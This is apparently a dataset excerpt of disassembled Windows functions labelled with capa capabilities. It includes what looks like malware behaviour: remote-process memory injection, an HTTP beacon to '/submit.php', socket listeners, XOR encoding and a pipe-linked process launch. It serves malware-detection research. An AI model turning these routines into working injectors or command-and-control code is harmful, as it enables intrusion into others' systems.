joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002e82
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000a1a8]
test eax, eax
je 0x140002f1a
lea rax, [0x14000a180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000a1b0]
mov qword [rbp - 8], rax
jmp 0x140002efe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002ef2
cmp qword [rbp - 0x10], 0
je 0x140002ef2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002eb8
lea rax, [0x14000a180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002f1b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140003020
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140003048
mov eax, 0
jmp 0x140003096
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140003071
mov eax, 0
jmp 0x140003096
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140003091
mov eax, 0
jmp 0x140003096
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14000309c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000311a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140003111
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140003111
mov rax, qword [rbp - 8]
jmp 0x14000312f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400030e4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140003a50
Capabilities:
Set console window title

Disassembly:
push rbx
sub rsp, 0x20
call sym.__main
lea rcx, str.rust_main
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call method.module.GetModules__
call sym.getchar
lea rcx, str.notepad.exe
call method.process.GetProcess_wchar_t_const_
test al, al
je 0x140003ab6
mov rax, qword [0x140005a60]
mov rcx, qword [rax + 8]
call method.memory.GetHandle_void_
mov rbx, rax
mov rcx, rax
call method.test.Test_void_
call sym.getchar
mov rcx, rbx
call method.memory.CloseHandle_void_
call sym.getchar
xor eax, eax
add rsp, 0x20
pop rbx
ret
call sym.getchar
mov eax, 1
jmp 0x140003ab0
Function at 0x180001448
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rbp, rcx
mov ecx, dword [r9]
mov rbx, r9
mov esi, r8d
mov rdi, rdx
call fcn.1800040f4
test eax, eax
jne 0x180001569
mov ecx, dword [r9 + 4]
lea eax, [rcx - 1]
cmp eax, 0x7f
ja 0x180001564
xor edx, edx
mov eax, r8d
div ecx
mov r8d, eax
test edx, edx
jne 0x180001564
test cl, 3
jne 0x180001564
movsxd rax, dword [r9]
lea r12, [0x180043a30]
imul rax, rax, 0xb0
mov r10, qword [rax + r12 + 0x60]
test r10, r10
je 0x1800014e5
lea rax, [r9 + 0x88]
mov rdx, rdi
mov rcx, rbp
add r9, 8
mov qword [rsp + 0x20], rax
call r10
jmp 0x180001569
test esi, esi
je 0x180001560
lea r14, [r9 + 8]
xor edx, edx
test ecx, ecx
jle 0x18000150f
mov r8, rbp
mov rcx, r14
sub r8, rbx
mov eax, dword [r8 + rcx - 8]
add edx, 4
xor dword [rcx], eax
lea rcx, [rcx + 4]
cmp edx, dword [rbx + 4]
jl 0x1800014fc
movsxd rax, dword [rbx]
lea r8, [rbx + 0x88]
mov rdx, rdi
mov rcx, r14
imul rax, rax, 0xb0
call qword [rax + r12 + 0x28]
test eax, eax
jne 0x180001569
xor edx, edx
cmp dword [rbx + 4], edx
jle 0x180001552
mov r8, rdi
mov rcx, r14
sub r8, rbx
mov eax, dword [r8 + rcx - 8]
add edx, 4
mov dword [rcx], eax
lea rcx, [rcx + 4]
cmp edx, dword [rbx + 4]
jl 0x18000153f
movsxd rcx, dword [rbx + 4]
add rdi, rcx
add rbp, rcx
sub esi, ecx
jne 0x1800014ed
xor eax, eax
jmp 0x180001569
mov eax, 0x10
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x180001588
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x58
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rdi, rcx
mov ecx, dword [r9]
mov rbx, r9
mov esi, r8d
mov rbp, rdx
call fcn.1800040f4
test eax, eax
jne 0x1800016a6
mov ecx, dword [r9 + 4]
lea eax, [rcx - 1]
cmp eax, 0x7f
ja 0x1800016a1
xor edx, edx
mov eax, r8d
div ecx
mov r8d, eax
test edx, edx
jne 0x1800016a1
test cl, 3
jne 0x1800016a1
movsxd rax, dword [r9]
lea r15, [0x180043a30]
imul rax, rax, 0xb0
mov r10, qword [rax + r15 + 0x68]
test r10, r10
je 0x180001624
lea rax, [r9 + 0x88]
mov rdx, rbp
mov rcx, rdi
add r9, 8
mov qword [rsp + 0x20], rax
call r10
jmp 0x1800016a6
test esi, esi
je 0x18000169d
movsxd rax, dword [rbx]
lea r8, [rbx + 0x88]
lea rdx, [rsp + 0x30]
mov rcx, rdi
imul rax, rax, 0xb0
call qword [rax + r15 + 0x30]
test eax, eax
jne 0x1800016a6
xor r8d, r8d
cmp dword [rbx + 4], r8d
jle 0x18000168e
lea r9, [rsp + 0x30]
mov r10, rdi
mov r11, rbp
sub r9, rdi
sub r10, rbx
sub r11, rbx
lea rdx, [rbx + 8]
lea rax, [r10 + rdx]
add r8d, 4
mov ecx, dword [r9 + rax - 8]
mov eax, dword [rax - 8]
xor ecx, dword [rdx]
mov dword [rdx], eax
lea rdx, [rdx + 4]
mov dword [r11 + rdx - 0xc], ecx
cmp r8d, dword [rbx + 4]
jl 0x18000166b
movsxd rax, dword [rbx + 4]
add rdi, rax
add rbp, rax
sub esi, dword [rbx + 4]
jne 0x180001628
xor eax, eax
jmp 0x1800016a6
mov eax, 0x10
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18001a200
add rsp, 0x58
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800039f4
Capabilities:
Hash data using sha256

Disassembly:
and dword [rcx + 0x28], 0
and qword [rcx], 0
xor eax, eax
mov dword [rcx + 8], 0x6a09e667
mov dword [rcx + 0xc], 0xbb67ae85
mov dword [rcx + 0x10], 0x3c6ef372
mov dword [rcx + 0x14], 0xa54ff53a
mov dword [rcx + 0x18], 0x510e527f
mov dword [rcx + 0x1c], 0x9b05688c
mov dword [rcx + 0x20], 0x1f83d9ab
mov dword [rcx + 0x24], 0x5be0cd19
ret

Function at 0x180004170
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rsi, rcx
mov ecx, dword [rcx + 0x70]
mov r13, r8
mov r15, rdx
call fcn.18000411c
test eax, eax
jne 0x1800042e2
movsxd rdi, dword [rsi + 0x70]
lea rbx, [0x180045030]
shl rdi, 7
mov ecx, dword [rdi + rbx + 0x10]
mov r12d, dword [rdi + rbx + 0xc]
call fcn.180019378
mov ecx, r12d
mov r14, rax
call fcn.180019378
mov rbp, rax
test r14, r14
je 0x1800042d0
test rax, rax
je 0x1800042c8
mov rdx, rax
mov rcx, rsi
call qword [rdi + rbx + 0x68]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea r9, [0x180045030]
xor r8d, r8d
cmp dword [rdi + r9 + 0x10], r8d
jbe 0x180004223
mov rax, qword [rsi + 0xe8]
mov cl, byte [rax + r8]
xor cl, 0x5c
mov byte [r8 + r14], cl
inc r8d
cmp r8d, dword [rdi + r9 + 0x10]
jb 0x180004207
mov rcx, rsi
call qword [rdi + r9 + 0x58]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea rax, [0x180045030]
mov rdx, r14
mov rcx, rsi
mov r8d, dword [rdi + rax + 0x10]
call qword [rdi + rax + 0x60]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea rax, [0x180045030]
mov r8d, r12d
mov rdx, rbp
mov rcx, rsi
call qword [rdi + rax + 0x60]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea rax, [0x180045030]
mov rdx, r14
mov rcx, rsi
call qword [rdi + rax + 0x68]
mov ebx, eax
test eax, eax
jne 0x1800042a8
xor ecx, ecx
test r12d, r12d
je 0x1800042a2
mov rdx, r14
sub rdx, r15
cmp ecx, dword [r13]
jae 0x1800042a2
mov al, byte [rdx + r15]
inc ecx
mov byte [r15], al
inc r15
cmp ecx, r12d
jb 0x18000428b
mov dword [r13], ecx
xor ebx, ebx
mov rcx, qword [rsi + 0xe8]
call fcn.180019338
mov rcx, rbp
call fcn.180019338
mov rcx, r14
call fcn.180019338
mov eax, ebx
jmp 0x1800042e2
mov rcx, r14
call fcn.180019338
test rbp, rbp
je 0x1800042dd
mov rcx, rbp
call fcn.180019338
mov eax, 0xd
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000ca74
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov ecx, 0x380
call fcn.180014120
mov edx, 0x100
mov rcx, rax
mov rbx, rax
call fcn.18001423c
mov edx, 0x100
mov rcx, rbx
mov r15, rax
call fcn.18001423c
mov edx, 0x80
mov rcx, rbx
call fcn.18001423c
mov edx, 0x100
mov rcx, rbx
mov rsi, rax
call fcn.18001423c
mov ecx, 8
mov rbx, rax
call fcn.1800180e4
mov ecx, 1
mov r12, rax
call fcn.180018118
mov ecx, 2
call fcn.180018118
mov ecx, 3
movzx ebp, ax
call fcn.180018090
mov ecx, 0x13
mov edi, eax
call fcn.180018090
mov ecx, 9
call fcn.1800180e4
mov ecx, 0xa
mov r14, rax
call fcn.1800180e4
mov r13, rax
call fcn.18000de0c
test eax, eax
je 0x18000cb3c
call fcn.180018800
mov ecx, 5
mov dword [section..data], edi
call fcn.180018118
movzx ecx, ax
mov dword [0x18003e448], ecx
mov ecx, 4
call fcn.180018090
mov ecx, eax
call fcn.180019378
mov ecx, 4
mov rdi, rax
call fcn.180018090
mov ecx, eax
call fcn.180019378
mov ecx, 4
call fcn.180018090
mov r8, rbx
mov rcx, rdi
mov edx, eax
call fcn.180013db4
cmp dword [section..data], 0
jbe 0x18000cd37
mov rcx, r12
call fcn.18000ce28
mov ebx, 0x80
lea r8, [0x18002c728]
mov edx, ebx
mov rcx, rsi
mov r9, rax
call fcn.18001972c
mov rcx, r12
call fcn.18000ce28
lea r8, [0x18002c728]
mov edx, ebx
mov r9, rax
mov rcx, r15
call fcn.18001972c
lea r8, [0x18002c728]
lea rcx, str._submit.php
mov r9, r13
mov edx, 0x100
mov dword [0x18003c004], 1
call fcn.18001972c
mov r8, r14
mov edx, ebp
mov rcx, rsi
call fcn.18000d858
lea ecx, [rbx - 0x7c]
call fcn.180018090
lea rdx, [0x180046a60]
mov r8, rdi
mov r9d, eax
mov rcx, r15
call fcn.18000d804
mov ebx, eax
test eax, eax
jle 0x18000cc4a
mov edx, eax
mov rcx, rdi
call fcn.180017bfc
mov ebx, eax
test eax, eax
jle 0x18000cc4a
mov edx, eax
mov rcx, rdi
call fcn.180016950
cmp ebx, 0xffffffff
je 0x18000cccb
lea rbx, [fcn.18000cd58]
mov rcx, rbx
call fcn.1800149a8
mov ecx, 0x1c
call fcn.180018090
mov rcx, rbx
mov edx, 0x80000
test eax, eax
je 0x18000cc79
mov edx, 0x1000
call fcn.18000ff64
mov rcx, rbx
call fcn.18001335c
mov edx, 0x80000
mov rcx, rbx
call fcn.180012e88
call fcn.18000de0c
test eax, eax
je 0x18000cca4
mov rcx, rbx
call fcn.18000dee4
cmp dword [0x18003e470], 0
jle 0x18000cccb
call fcn.18000d7d8
mov r8, r14
mov edx, ebp
mov rcx, rsi
call fcn.18000d858
lea rcx, str._submit.php
call fcn.18000da0c
call fcn.18000d7d8
call fcn.18000de0c
test eax, eax
je 0x18000ccde
call fcn.180018800
mov ecx, dword [section..data]
test ecx, ecx
je 0x18000cd37
cmp dword [0x18003e448], 0
je 0x18000cd24
call fcn.18000ddec
mov edx, dword [0x18003e448]
mov ecx, dword [section..data]
imul edx, ecx
mov r9d, eax
mov eax, 0x51eb851f
mul edx
mov eax, r9d
mov r8d, edx
xor edx, edx
shr r8d, 5
div r8d
cmp edx, ecx
jae 0x18000cd2f
sub ecx, edx
call fcn.1800107c0
mov ecx, dword [section..data]
test ecx, ecx
jne 0x18000cb9e
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp fcn.180018800
Function at 0x18000da0c
Capabilities:
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x428]
sub rsp, 0x520
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp + 0x410], rax
and qword [rbp - 0x78], 0
mov rbx, rcx
lea rax, [0x18002c72c]
lea rcx, [rbp + 0x11]
xor edx, edx
mov r8d, 0x3ff
mov qword [rbp - 0x80], rax
mov byte [rbp + 0x10], 0
call fcn.180019620
xor edx, edx
lea rcx, [rbp - 0x6f]
mov byte [rbp - 0x70], 0
lea r8d, [rdx + 0x7f]
call fcn.180019620
and qword [rsp + 0x40], 0
xor edx, edx
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x48]
call fcn.180019620
mov edx, dword [0x18003e470]
test edx, edx
je 0x18000dc0c
lea rcx, [rsp + 0x40]
call fcn.180015fcc
mov rcx, qword [rsp + 0x50]
mov r14d, 0x400
lea r8, [0x18002c728]
mov edx, r14d
mov r9, rbx
call fcn.18001972c
mov r9d, dword [0x180046a60]
lea r8, [0x18002c730]
lea rcx, [rbp - 0x70]
mov edx, 0x80
call fcn.18001972c
or rbx, 0xffffffffffffffff
lea rax, [rbp - 0x70]
mov rdi, rbx
inc rdi
cmp byte [rax + rdi], 0
jne 0x18000dae8
mov ecx, 0xd
call fcn.1800180e4
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x40]
mov rcx, rax
mov eax, dword [0x18003e470]
mov r9d, edi
mov dword [rsp + 0x28], eax
mov rax, qword [0x18003e468]
mov qword [rsp + 0x20], rax
call fcn.180015724
mov rcx, qword [rsp + 0x48]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x18000db2d
mov r9, qword [rsp + 0x50]
mov rdx, r14
test rax, rax
jne 0x18000db55
lea r8, [0x18002c728]
lea rcx, [rbp + 0x10]
call fcn.18001972c
jmp 0x18000db6a
mov qword [rsp + 0x20], rcx
lea r8, [0x18002c734]
lea rcx, [rbp + 0x10]
call fcn.18001972c
call fcn.180018e6c
mov ecx, 0x1b
call fcn.1800180e4
mov rcx, qword [0x18003e460]
lea r8, [rbp + 0x10]
mov rdx, rax
lea rax, [0x18003e478]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov eax, dword [0x18003e474]
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rdi, rax
call fcn.18000d778
mov rdx, qword [rsp + 0x40]
inc rbx
cmp byte [rdx + rbx], 0
jne 0x18000dbc5
mov eax, dword [rsp + 0x60]
mov r9, qword [rsp + 0x58]
mov r8, rbx
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x18003e470]
lea rcx, [rsp + 0x40]
call fcn.180015fc0
and dword [0x18003e470], 0
call fcn.180018e9c
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.18001a200
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000dd00
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, edx
mov rdi, rcx
call fcn.18000dd60
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x18000dd4e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x18000dd4e
cmp word [rax + 0x10], 2
jne 0x18000dd4e
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
test rcx, rcx
je 0x18000dd4e
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
jmp 0x18000dd55
lea rax, str.unknown
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18000dd60
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
cmp dword [0x18003e480], 1
je 0x18000ddc0
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000ddd8
mov ecx, 0x14
mov dword [0x18003e480], 1
call fcn.180018090
mov ecx, 0x13
mov dword [0x18003e484], eax
call fcn.180018090
mov dword [0x18003e488], eax
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.18001a200
add rsp, 0x1d8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18001aa00
int3
Function at 0x18000ec40
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x19]
xor edx, edx
mov r8d, esi
call fcn.180019620
xor eax, eax
mov dword [rbp - 0x19], esi
lea r8, [rbp - 0x59]
lea rdx, [rbp + 0x7f]
lea rcx, [rbp - 0x61]
xor esi, esi
mov r9d, 0x100000
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x69], rax
mov dword [rbp - 0x59], 0x18
mov qword [rbp - 0x51], rsi
mov dword [rbp - 0x49], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rbp + 0x7f]
lea r9, [rbp - 0x79]
lea r8, [rbp - 0x19]
mov edx, ebx
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rax
mov dword [rbp + 0x23], 0x101
mov word [rbp + 0x27], si
mov qword [rbp + 0x37], rsi
mov dword [rsp + 0x20], 0x10
call fcn.180015514
test eax, eax
je 0x18000ed29
mov rcx, qword [rbp - 0x79]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rbp + 0x7f]
mov rdx, qword [rbp - 0x61]
movups xmm0, xmmword [rbp - 0x79]
movsd xmm1, qword [rbp - 0x69]
lea rcx, [rbp - 0x39]
movaps xmmword [rbp - 0x39], xmm0
movsd qword [rbp - 0x29], xmm1
call fcn.180013034
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18000edb8
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov esi, edx
mov rdi, rcx
lea r14d, [r8 + 2]
lea edx, [r8 + 1]
mov ecx, r14d
call sub.WS2_32.dll_socket
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x18000ee02
mov rax, rbp
jmp 0x18000ee5c
mov rcx, rdi
call sub.WS2_32.dll_gethostbyname
test rax, rax
je 0x18000edfd
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.180019c80
movzx ecx, si
mov word [rsp + 0x20], r14w
call sub.WS2_32.dll_htons
lea rdx, [rsp + 0x20]
mov r8d, 0x10
mov rcx, rbx
mov word [rsp + 0x22], ax
call sub.WS2_32.dll_connect
test eax, eax
je 0x18000ee59
mov rcx, rbx
call sub.WS2_32.dll_closesocket
jmp 0x18000edfd
mov rax, rbx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x180012038
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, rcx
xor ebx, ebx
mov edi, r9d
lea ecx, [rbx + 0x2d]
mov r12, r8
call fcn.180018090
lea ecx, [rbx + 0x2b]
mov ebp, eax
cmp edi, eax
cmova ebp, edi
mov r15d, ebp
call fcn.180018118
mov r9d, 0x3000
movzx eax, ax
mov r8d, ebp
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1800120b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x1f]
mov edx, ebp
mov r8d, eax
call fcn.18000d3e0
xor eax, eax
jmp 0x180012143
test edi, edi
jle 0x1800120f1
movsxd rcx, ebx
mov eax, edi
sub eax, ebx
lea r8, [rcx + r12]
lea rdx, [rcx + rsi]
movsxd r9, eax
lea rax, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180012129
mov eax, dword [rsp + 0x88]
add ebx, eax
test eax, eax
je 0x1800120a9
cmp ebx, edi
jl 0x1800120b4
mov ecx, 0x2c
call fcn.180018118
mov r8, r15
mov rdx, rsi
movzx r9d, ax
lea rax, [rsp + 0x30]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x180012140
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x11
jmp 0x180012134
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x10
mov edx, eax
call fcn.18000d3d4
jmp 0x1800120a9
mov rax, rsi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1800148ac
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov ebx, 1
mov edi, edx
mov esi, ecx
mov dword [rsp + 0x20], ebx
call fcn.18000dd60
lea r14d, [rbx + 1]
mov ecx, r14d
xor r8d, r8d
mov edx, ebx
call qword [sym.imp.WS2_32.dll_socket]
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x180014902
mov rax, rbp
jmp 0x180014969
movzx ecx, si
mov word [rsp + 0x28], r14w
call qword [sym.imp.WS2_32.dll_htons]
and dword [rsp + 0x2c], 0
lea r8, [rsp + 0x20]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, ebp
jne 0x18001493d
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1800148fd
lea rdx, [rsp + 0x28]
mov r8d, 0x10
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
cmp eax, ebp
je 0x180014935
mov edx, edi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, ebp
jne 0x180014966
mov rcx, rbx
jmp 0x180014935
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x1800149a8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.1800149d0
mov rcx, rbx
call fcn.180014cdc
test eax, eax
jg 0x1800149b6
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x180014de8
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x18003f3e0]
xor edi, edi
test rbx, rbx
je 0x180014e86
mov eax, dword [rbx + 4]
test eax, eax
jne 0x180014e19
cmp dword [rbx + 0xc], eax
jne 0x180014e22
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x180014dfb
test eax, eax
jne 0x180014e19
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x180014e19
cmp dword [rbx + 0x10], 0
jne 0x180014e4b
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180014e5f
cmp dword [rbx + 0x10], 2
je 0x180014e19
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x180014e7a
mov qword [rdi + 0x28], rax
call fcn.180019338
mov rbx, qword [rdi + 0x28]
jmp 0x180014dfb
mov qword [0x18003f3e0], rax
call fcn.180019338
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret